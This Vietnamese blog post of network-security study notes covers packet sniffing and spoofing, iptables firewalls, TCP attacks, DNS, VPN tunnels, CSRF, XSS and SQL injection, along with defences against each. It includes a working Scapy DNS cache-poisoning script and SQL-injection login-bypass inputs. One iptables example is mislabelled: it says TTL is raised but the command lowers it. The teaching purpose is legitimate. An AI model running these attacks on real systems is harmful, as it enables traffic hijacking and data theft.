Tổng quan về các nguyên lý tấn công và phòng thủ mạng

Bối cảnh về bắt gói tin và giả mạo gói tin

BPF là gì?

Bộ lọc gói tin BSD (BPF - BSD Packet Filter) là một cơ chế cho phép lọc gói tin ở tầng thấp nhất của hệ điều hành. Khi thực hiện bắt gói tin (sniffing), thông thường, các chương trình chỉ quan tâm đến một số loại gói tin nhất định, ví dụ như gói TCP hoặc DNS. Nếu hệ thống chuyển tất cả các gói tin bắt được lên chương trình sniffing, chương trình sẽ phải tự loại bỏ những gói không cần thiết, gây lãng phí tài nguyên CPU vì các gói tin vô ích vẫn phải được truyền từ nhân hệ điều hành lên chương trình.

Thứ tự byte (Endianness)

Thứ tự byte phụ thuộc vào kiến trúc bộ xử lý, không phải hệ điều hành. Các máy tính dòng x86 đều sử dụng little-endian.

  • Little-endian: Lưu byte có trọng số thấp nhất trước.
  • Big-endian: Lưu byte có trọng số cao nhất trước.

Để giải quyết sự không tương thích về thứ tự byte, IANA (Internet Assigned Numbers Authority) đã định nghĩa thứ tự byte mạng (network byte order), yêu cầu máy tính sử dụng thứ tự này khi ghi dữ liệu nhiều byte vào gói tin. Thứ tự byte mạng giống với big-endian.

Các hàm macro sau được sử dụng để chuyển đổi giữa thứ tự byte máy (host byte order) và thứ tự byte mạng:

Hàm Macro Mô tả
htons() Chuyển đổi unsigned short từ host byte order sang network byte order
htonl() Chuyển đổi unsigned long từ host byte order sang network byte order
ntohs() Chuyển đổi unsigned short từ network byte order sang host byte order
ntohl() Chuyển đổi unsigned long từ network byte order sang host byte order

Cách card mạng nhận dữ liệu

Card mạng (NIC - Network Interface Card) là thiết bị kết nối máy tính với mạng. Mỗi card mạng có một địa chỉ MAC duy nhất (48 bit). Tất cả các card mạng trên mạng đều có thể nhận được tất cả các khung dữ liệu (data frames) trên đường truyền.

Khi một gói tin đến, card mạng sẽ kiểm tra địa chỉ MAC đích. Nếu trùng với địa chỉ MAC của nó, gói tin sẽ được sao chép vào bộ đệm trong nhân hệ điều hành. Nếu không, gói tin sẽ bị loại bỏ. Tuy nhiên, khi card mạng ở chế độ promiscuous mode, nó sẽ chuyển tất cả các gói tin nhận được cho nhân hệ điều hành, giúp cho việc bắt gói tin (sniffing) trở nên khả thi. Trong Wi-Fi, chế độ này được gọi là monitor mode.

Để kiểm soát chặt chẽ hơn gói tin nào được chuyển đến ứng dụng, ta sử dụng BPF (Bộ lọc gói tin BSD). BPF cho phép chương trình người dùng gắn một bộ lọc vào socket, yêu cầu nhân hệ điều hành loại bỏ các gói tin không cần thiết. Khi nhân nhận được gói tin, BPF sẽ được gọi và chỉ những gói tin vượt qua bộ lọc mới được đẩy lên stack giao thức.

Thư viện PCAP cung cấp một API dễ sử dụng hơn để làm việc với raw sockets và lọc gói tin. Nó cho phép lập trình viên chỉ định các luật lọc bằng cách sử dụng các biểu thức Boolean dễ đọc. Bắt gói tin (Packet Sniffing) mô tả quá trình thu thập dữ liệu mạng thời gian thực. Khi sử dụng PCAP API, tham số gói tin chứa bản sao của gói tin, bao gồm cả header Ethernet.

Không gian người dùng, không gian nhân và card mạng

Không gian người dùng (User Space) là nơi các ứng dụng người dùng chạy, trong khi không gian nhân (Kernel Space) là nơi hệ điều hành chạy, quản lý tài nguyên phần cứng bao gồm card mạng. Card mạng hoạt động trong không gian nhân. Khi card mạng nhận được một gói tin, nó chuyển gói tin cho nhân. Nhân sẽ dựa vào thông tin địa chỉ đích và cổng để chuyển tiếp gói tin đến ứng dụng tương ứng trong không gian người dùng.

BPFPCAP có thể được sử dụng để bắt và lọc gói tin. BPF cho phép gắn bộ lọc vào socket, PCAP cung cấp API cấp cao hơn. Chế độ Promiscuous cho phép card mạng nhận tất cả lưu lượng mạng. Giả mạo gói tin (Packet Spoofing) là một kỹ thuật tấn công mạng, nơi kẻ tấn công giả mạo địa chỉ nguồn, đích của gói tin để đánh lừa thiết bị mạng hoặc ứng dụng.

Bắt gói tin (Sniffing)

Bắt gói tin là quá trình thu thập dữ liệu mạng thời gian thực. Để thực hiện, card mạng cần ở chế độ promiscuous mode. Sau khi bắt được gói tin, có thể sử dụng BPF để lọc. PCAP cung cấp API dễ sử dụng hơn. Phân tích các gói tin bắt được có thể tiết lộ thông tin nhạy cảm, như tên người dùng, mật khẩu, v.v.

Raw Socket và Socket thông thường

Sự khác biệt chính:

  • Socket thông thường: Khi nhân nhận được gói tin, nó chuyển gói tin qua stack giao thức và cuối cùng chuyển payload (dữ liệu) cho ứng dụng qua socket.
  • Raw Socket: Nhân đầu tiên chuyển một bản sao của gói tin (bao gồm cả header tầng liên kết) cho socket (và ứng dụng), sau đó mới chuyển gói tin đến stack giao thức. Raw socket không chặn gói tin, chỉ nhận được một bản sao.

Thư viện PCAP: Định nghĩa và Sự cần thiết

PCAP (Packet Capture) là một API để bắt và phân tích lưu lượng mạng, cung cấp giao diện chuẩn đa nền tảng. Sự cần thiết của nó xuất phát từ những hạn chế của việc sử dụng trực tiếp raw socket:

  • Không khả chuyển (Non-portable): Chương trình viết bằng raw socket khó di chuyển giữa các hệ điều hành.
  • Khó thiết lập bộ lọc: Thiết lập bộ lọc gói tin với raw socket phức tạp.
  • Thiếu tối ưu hiệu năng: Lập trình raw socket thường kém hiệu quả.

PCAP giải quyết các vấn đề này bằng cách ẩn đi sự khác biệt giữa các hệ điều hành, cung cấp biểu thức Boolean để lọc, và tối ưu hiệu năng thông qua BPF.

Giả mạo gói tin (Spoofing)

Giả mạo gói tin là hành vi làm sai lệch thông tin quan trọng trong gói tin (ví dụ: địa chỉ nguồn, địa chỉ đích) để đánh lừa thiết bị mạng hoặc ứng dụng.

Các bước thực hiện:

  1. Xây dựng gói tin: Kẻ tấn công xây dựng một gói tin tùy chỉnh chứa thông tin giả mạo.
  2. Gửi gói tin: Sử dụng raw socket để gửi gói tin đến mục tiêu.

Raw socket cho phép truy cập trực tiếp vào tầng mạng (ví dụ: IP), cho phép xây dựng và gửi các gói IP tùy chỉnh. Các công cụ như Scapy (Python) giúp đơn giản hóa quá trình này.

Bắt gói tin và giả mạo (Sniff then Spoof)

Trong nhiều trường hợp, cần bắt gói tin trước, sau đó giả mạo phản hồi dựa trên gói tin đã bắt.

Các bước với UDP:

  1. Sử dụng PCAP API để bắt gói tin quan tâm.
  2. Tạo một bản sao của gói tin.
  3. Thay thế trường dữ liệu UDP bằng thông điệp mới, đồng thời đổi chỗ trường nguồn và đích.
  4. Gửi phản hồi giả mạo.

So sánh Scapy và C:

Phương pháp Ưu điểm Nhược điểm
Python + Scapy Xây dựng gói tin rất đơn giản Chậm hơn C
C (raw socket) Nhanh hơn nhiều Xây dựng gói tin phức tạp
Kết hợp (Hybrid) Dùng Scapy xây dựng, C gửi đi

Sử dụng Scapy để bắt gói tin

Scapy là một thư viện Python mạnh mẽ để thao tác gói tin. Các bước cơ bản để bắt gói tin với Scapy:

  1. Import thư viện Scapy.
  2. Định nghĩa bộ lọc (ví dụ: BPF).
  3. Chỉ định giao diện mạng.
  4. Sử dụng hàm sniff để bắt gói tin.
  5. Xử lý các gói tin đã bắt.

Ví dụ code:

from scapy.all import *

# Định nghĩa bộ lọc, chỉ bắt gói UDP
filter_expression = "udp"

# Chỉ định giao diện mạng
interface = "eth0"

# Bắt gói tin và lưu vào danh sách packets
packets = sniff(iface=interface, filter=filter_expression)

# Xử lý các gói tin
for packet in packets:
    print(packet.show())

Ví dụ về bộ lọc Pcap

  • dst host 10.0.2.5: Chỉ bắt gói có địa chỉ IP đích là 10.0.2.5.
  • src host 10.0.2.6: Chỉ bắt gói có địa chỉ IP nguồn là 10.0.2.6.
  • host 10.0.2.6 and src port 9090: Chỉ bắt gói có địa chỉ IP nguồn hoặc đích là 10.0.2.6 và cổng nguồn là 9090.
  • proto tcp: Chỉ bắt gói TCP.

Kiểm tra thứ tự byte của CPU

Để xác định CPU sử dụng big-endian hay little-endian, có thể dùng union trong C:

int checkCPU() {
    union w {
        int a;
        char b;
    } c;
    c.a = 1;
    return (c.b == 1);
}
  • Nếu c.b == 1, CPU sử dụng little-endian (byte thấp nhất của số 1 được lưu ở địa chỉ thấp).
  • Nếu c.b != 1, CPU sử dụng big-endian.

Bảo mật tầng mạng

IP là gì và tại sao cần IP?

IP là giao thức cốt lõi của bộ giao thức TCP/IP, cung cấp dịch vụ truyền dữ liệu cơ bản để kết nối mạng với nhau. IP che giấu sự khác biệt về phần cứng và giao thức tầng dưới, cho phép các mạng khác nhau có thể giao tiếp. IP không đảm bảo độ tin cậy; việc này do các giao thức tầng trên như TCP đảm nhận.

Chi tiết về tường lửa IP

Tường lửa IP là thành phần quan trọng của bảo mật mạng, bảo vệ mạng khỏi các truy cập trái phép.

Chức năng của tường lửa:

  • Ngăn chặn lưu lượng trái phép giữa các mạng.
  • Cô lập các thành phần đáng tin cậy và không đáng tin cậy.
  • Lọc dữ liệu, chuyển hướng lưu lượng và phòng thủ trước các cuộc tấn công.

Yêu cầu với tường lửa:

  • Tất cả lưu lượng giữa các vùng tin cậy phải đi qua tường lửa.
  • Chỉ lưu lượng được ủy quyền bởi chính sách bảo mật mới được phép đi qua.
  • Bản thân tường lửa phải an toàn, sử dụng hệ điều hành an toàn.

Chính sách tường lửa:

  • Kiểm soát người dùng: Dựa trên vai trò của người dùng.
  • Kiểm soát dịch vụ: Dựa trên loại dịch vụ (qua cổng và giao thức).
  • Kiểm soát hướng: Xác định hướng của luồng dữ liệu (vào/ra).

Hoạt động của tường lửa:

  • Accept: Cho phép kết nối.
  • Deny: Không cho phép nhưng thông báo cho nguồn.
  • Drop: Không cho phép và không thông báo (hoặc thông báo qua ICMP).
  • Inbound/Outbound Filtering: Lọc lưu lượng vào/ra.

Các loại tường lửa:

Loại Đặc điểm Dễ bị tấn công
Packet Filter Kiểm tra header gói tin (IP, cổng). Không xem trạng thái kết nối. (Layer 3) IP Spoofing, Fragmentation, Port Scanning, Application Layer Attacks
Stateful Firewall Theo dõi trạng thái kết nối. Duy trì bảng trạng thái. (Layer 3 & 4) DoS/DDoS, MITM, TCP Session Hijacking
Application/Proxy Kiểm tra sâu dữ liệu tầng ứng dụng. (Layer 7) Encrypted Traffic, Zero-Day, Resource Exhaustion, Bypass techniques

Các phương pháp vượt tường lửa

  • SSH Tunneling: Tạo một kênh mã hóa giữa máy tính và máy chủ bên ngoài, tường lửa không thể nhìn thấy lưu lượng bên trong.
  • Dynamic Port Forwarding (SOCKS proxy): Một loại SSH tunnel, chuyển tiếp tất cả lưu lượng đến máy chủ bên ngoài, hoạt động như một proxy.
  • VPN: Tạo một tunnel mã hóa, thường ở tầng IP, cho phép truy cập an toàn vào mạng nội bộ.
  • Web Proxy: Đóng vai trò trung gian, ẩn địa chỉ IP thật của người dùng.

Xây dựng tường lửa với iptables

Cấu trúc iptables

iptables là công cụ tường lửa trên Linux, sử dụng các tablechain để quản lý luật. Các table chính: filter (mặc định), nat, mangle, raw, security.

Ví dụ: Tăng TTL lên 5

sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-dec 5

Ví dụ: Xây dựng tường lửa cơ bản (chỉ cho phép SSH và HTTP):

#!/bin/bash

# Đặt chính sách mặc định là ACCEPT
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT

# Xóa tất cả các luật hiện có
sudo iptables -F

# Cho phép SSH (cổng 22)
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Cho phép HTTP (cổng 80)
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
# Cho phép gửi TCP ra ngoài (để phản hồi)
sudo iptables -A OUTPUT -p tcp -j ACCEPT

# Cho phép loopback
sudo iptables -I INPUT 1 -i lo -j ACCEPT

# Cho phép DNS (UDP cổng 53)
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Đặt chính sách mặc định là DROP
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

Tường lửa trạng thái (Stateful Firewall) và Tường lửa ứng dụng (Application Firewall)

Tường lửa trạng thái

Tường lửa trạng thái theo dõi trạng thái của các kết nối (TCP, UDP, ICMP). Linux sử dụng framework nf_conntrack để theo dõi kết nối. Các trạng thái: NEW, ESTABLISHED, RELATED, INVALID.

Ví dụ cải tiến luật OUTPUT cho tường lửa trạng thái:

# Thay vì cho phép tất cả TCP ra ngoài:
# sudo iptables -A OUTPUT -p tcp -j ACCEPT

# Chỉ cho phép các gói tin thuộc kết nối đã được thiết lập hoặc liên quan:
sudo iptables -A OUTPUT -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

Tường lửa ứng dụng

Tường lửa ứng dụng (Application Proxy Firewall) kiểm tra dữ liệu ở tất cả các tầng, bao gồm cả tầng ứng dụng. Web proxy là một ví dụ điển hình. Để đảm bảo tất cả lưu lượng đi qua proxy, có thể sửa cấu hình hệ thống, cấu hình trình duyệt, hoặc dùng iptables để chuyển hướng.

Bảo mật TCP

Tổng quan về TCP

TCP là giao thức tầng giao vận, cung cấp truyền dữ liệu tin cậy, có kết nối. Nó đảm bảo dữ liệu đến đúng thứ tự, kiểm soát luồng và tắc nghẽn.

Cơ chế hoạt động của chương trình TCP

Client: socket() -> connect() -> send()/recv() -> close()

Server: socket() -> bind() -> listen() -> accept() -> fork() -> send()/recv() -> close()

Quá trình truyền dữ liệu TCP

Hệ điều hành cấp phát bộ đệm gửi và nhận. Dữ liệu được đặt vào bộ đệm gửi, sau đó TCP sẽ đóng gói và gửi đi. Số thứ tự (sequence number) giúp sắp xếp các gói tin đến không theo thứ tự. Gói ACK xác nhận đã nhận dữ liệu.

Cấu trúc Header TCP

Header TCP chứa: cổng nguồn/đích, số thứ tự, số báo nhận, độ dài header, các cờ (SYN, FIN, ACK, RST, PSH, URG), kích thước cửa sổ, checksum, con trỏ khẩn cấp, và các tùy chọn.

Bắt tay ba bước (Three-way Handshake)

  1. Client gửi SYN (seq=x).
  2. Server gửi SYN-ACK (seq=y, ack=x+1).
  3. Client gửi ACK (ack=y+1).

Trạng thái kết nối TCP

LISTEN, SYN_SENT, SYN_RECV, ESTABLISHED, FIN_WAIT_1, FIN_WAIT_2, TIME_WAIT, CLOSE_WAIT, LAST_ACK, CLOSED.

Vấn đề bảo mật TCP

Một số tấn công phổ biến:

  • SYN Flood: Gửi hàng loạt SYN giả để làm đầy hàng đợi kết nối, gây từ chối dịch vụ.
  • TCP Reset Attack (RST): Giả mạo gói RST để ngắt kết nối.
  • TCP Session Hijacking: Giả mạo gói tin để chiếm quyền điều khiển session.

DNS (Hệ thống tên miền)

Khái niệm cơ bản

DNS chuyển đổi tên miền (ví dụ: www.example.com) thành địa chỉ IP.

Cấu trúc phân cấp tên miền

Cấu trúc hình cây: Gốc (root) ".", TLD (ví dụ: .com, .net, .vn), tên miền cấp 2 (ví dụ: example.com), v.v.

Vùng DNS (Zone)

Một vùng DNS là một phần của không gian tên miền được quản lý bởi một thực thể. Mỗi vùng có ít nhất một authoritative name server (máy chủ tên có thẩm quyền).

Quá trình truy vấn DNS

Máy tính hỏi DNS resolver cục bộ, resolver hỏi DNS server cục bộ, DNS server cục bộ thực hiện truy vấn đệ quy hoặc lặp để tìm ra địa chỉ IP.

Các file cấu hình DNS cục bộ:

  • /etc/hosts: Ánh xạ tĩnh giữa tên và IP.
  • /etc/resolv.conf: Chứa địa chỉ của DNS server cục bộ.

Lưu ý: Nếu máy tính dùng DHCP, file /etc/resolv.conf sẽ được tự động cập nhật, mọi thay đổi thủ công có thể bị ghi đè.

Các cuộc tấn công DNS

  • DoS (Từ chối dịch vụ)
  • DNS Spoofing (DNS Cache Poisoning): Cung cấp địa chỉ IP giả cho nạn nhân. Có thể thực hiện ở nhiều cấp độ: tấn công máy nạn nhân, tấn công DNS server cục bộ, tấn công từ máy chủ DNS độc hại.

Ví dụ: Tấn công DNS cache poisoning cục bộ bằng Scapy

from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=259200)
        NSsec = DNSRR(rrname="example.net", type='NS', rdata='ns.attacker32.com', ttl=259200)
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qdcount=1, qr=1, ancount=1, nscount=1, an=Anssec, ns=NSsec)
        spoofpkt = IPpkt / UDPpkt / DNSpkt
        send(spoofpkt)

pkt = sniff(filter='udp and (src host 192.168.230.154 and dst port 53)', prn=spoof_dns)

Tấn công Kaminsky (DNS Cache Poisoning từ xa)

Tấn công DNS cache poisoning từ xa khó hơn vì kẻ tấn công không nghe được yêu cầu DNS nên phải đoán port nguồn và transaction ID. Kaminsky attack khắc phục bằng cách gửi các yêu cầu cho các tên miền con ngẫu nhiên (ví dụ: xxxxx.example.com). Mỗi lần, kẻ tấn công gửi một phản hồi giả mạo với NS record trỏ đến máy chủ của hắn. Nếu đoán sai transaction ID, lần thử tiếp theo sẽ dùng một tên miền con khác, tránh hiệu ứng cache.

Phòng chống tấn công DNS Cache Poisoning

  • DNSSEC (Domain Name System Security Extensions): Thêm chữ ký số vào dữ liệu DNS, đảm bảo tính xác thực và toàn vẹn.
  • TLS/SSL: Sử dụng các giao thức như HTTPS, dựa trên chứng thực số để xác minh danh tính máy chủ, làm giảm tác hại của DNS spoofing.

VPN (Mạng riêng ảo)

Khái niệm cơ bản

VPN tạo ra một mạng riêng trên nền tảng hạ tầng công cộng (Internet), cung cấp các tính năng như xác thực người dùng, bảo vệ nội dung, và đảm bảo tính toàn vẹn.

Nguyên lý hoạt động

VPN sử dụng kỹ thuật IP tunneling. Một gói tin IP gốc được bảo vệ (mã hóa) được đóng gói vào một gói tin IP mới để truyền qua Internet. Các phương pháp phổ biến: IPSec TunnelingTLS/SSL Tunneling.

TLS/SSL VPN

TLS/SSL VPN hoạt động ở tầng ứng dụng, tạo một tunnel an toàn giữa client và server. Để chuyển tiếp các gói IP, nó sử dụng công nghệ TUN/TAP.

  • TUN: Hoạt động ở tầng IP (Layer 3), cho phép chương trình nhận được toàn bộ gói IP từ nhân.
  • TAP: Hoạt động ở tầng liên kết dữ liệu (Layer 2), hoạt động như một card mạng ảo.

Ví dụ tạo TUN device trong C:

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>

int createTunDevice() {
    int tunfd;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));

    ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
    tunfd = open("/dev/net/tun", O_RDWR);
    ioctl(tunfd, TUNSETIFF, &ifr);

    return tunfd;
}

int main () {
    int tunfd = createTunDevice();
    printf("TUN file descriptor: %d \n", tunfd);

    // Tương tác với device từ shell
    char *argv[2];
    argv[0] = "/bin/bash"; argv[1] = NULL;
    execve("/bin/bash", argv, NULL);

    return 0;
}

Sau khi tạo, cần cấu hình địa chỉ IP và route cho TUN device.

Cross-Site Request Forgery (CSRF)

Khái niệm

CSRF là một cuộc tấn công mà khi người dùng truy cập một trang web độc hại, trang web đó có thể gửi các yêu cầu giả mạo thay mặt người dùng đến một trang web khác mà người dùng đã đăng nhập. Trình duyệt sẽ tự động gửi kèm cookie của trang web đích, khiến cho trang web đích tin tưởng yêu cầu đó.

Phòng thủ

  • Referer Header: Kiểm tra nguồn gốc của yêu cầu. Tuy nhiên, có thể bị tấn công do trình duyệt không gửi hoặc có thể bị can thiệp.
  • SameSite Cookie: Thiết lập thuộc tính SameSite cho cookie (ví dụ: Strict, Lax) để hạn chế gửi cookie trong các yêu cầu cross-site.
  • Secret Token (Synchronizer Token Pattern): Nhúng một token bí mật vào form (hoặc trong cookie). Máy chủ sẽ kiểm tra token này cho mỗi yêu cầu. Elgg sử dụng phương pháp này với __elgg_ts__elgg_token.

Cross-Site Scripting (XSS)

Khái niệm

XSS là một cuộc tấn công mà kẻ tấn công chèn mã độc (thường là JavaScript) vào một trang web, và mã này sẽ được thực thi trong trình duyệt của nạn nhân.

  • Reflected XSS: Mã độc được phản hồi từ máy chủ, thường qua các tham số trên URL (ví dụ: kết quả tìm kiếm).
  • Stored XSS: Mã độc được lưu trữ trên máy chủ (ví dụ: bình luận, bài đăng trên forum) và được thực thi khi người dùng khác truy cập trang đó.

Tác hại

  • Làm sai lệch nội dung trang web.
  • Gửi yêu cầu giả mạo.
  • Đánh cắp thông tin (cookie, dữ liệu cá nhân).

Phòng thủ

  • Lọc và mã hóa dữ liệu đầu vào/đầu ra: Loại bỏ các thẻ script hoặc mã hóa ký tự đặc biệt (ví dụ: < thành &lt;).
  • Content Security Policy (CSP): Sử dụng header Content-Security-Policy để chỉ định nguồn tin cậy cho script, style, v.v. Ví dụ: Content-Security-Policy: script-src 'self' sẽ ngăn chặn mã nhúng và chỉ cho phép script từ cùng nguồn gốc.

SQL Injection

Khái niệm

SQL Injection là một cuộc tấn công mà kẻ tấn công chèn mã SQL độc hại vào đầu vào của ứng dụng web, nhằm thay đổi câu lệnh SQL mà ứng dụng thực thi.

Ví dụ: Giả sử ứng dụng có câu truy vấn SQL dạng:

SELECT Name, Salary, SSN FROM employee WHERE eid='[input]' AND password='[input]';
  • Nếu nhập eidEID5002'#, câu truy vấn trở thành:
    SELECT Name, Salary, SSN FROM employee WHERE eid='EID5002';
    
    (Phần chú thích # đã loại bỏ phần còn lại của câu truy vấn, cho phép đăng nhập mà không cần mật khẩu chính xác)
  • Nếu nhập a' OR 1=1#, câu truy vấn trở thành:
    SELECT Name, Salary, SSN FROM employee WHERE eid='a' OR 1=1;
    
    (Điều kiện OR 1=1 luôn đúng, trả về tất cả các bản ghi)

Tổng kết các lỗ hổng và biện pháp phòng thủ

Tầng Lỗ hổng / Tấn công Biện pháp phòng thủ
Liên kết (L2) Sniffing (Promiscuous Mode) Mã hóa truyền thông, phân đoạn mạng, IDS
Liên kết (L2) ARP Spoofing / Packet Spoofing ARP tĩnh, bảo mật switch, công cụ phát hiện (Scapy)
Mạng (L3) IP Spoofing Inbound/Outbound filtering, IDS/IPS
Mạng (L3) Firewall Evasion (SSH Tunnel, VPN) DPI, Application Firewall, cập nhật luật tường lửa
Giao vận (L4) SYN Flood SYN Cookies, giới hạn tốc độ, tường lửa
Giao vận (L4) TCP Reset (RST) Mã hóa, phân đoạn mạng, IDS
Giao vận (L4) TCP Session Hijacking Mã hóa (SSH), số thứ tự ngẫu nhiên, xác thực
Ứng dụng (L7) DNS Cache Poisoning DNSSEC, TLS/SSL, Binding DNS
Ứng dụng (L7) SQL Injection Input validation, Prepared statements, phân quyền DB
Ứng dụng (L7) CSRF SameSite Cookie, Secret Token, Referer Header
Ứng dụng (L7) XSS Output encoding, CSP, HTTPOnly Cookie
Plugin Malicious Plugin Tải từ chợ ứng dụng chính thức, đọc kỹ quyền hạn, cập nhật

Thẻ: BPF PCAP dns TCP ip

Đăng vào ngày 16 tháng 7 lúc 17:40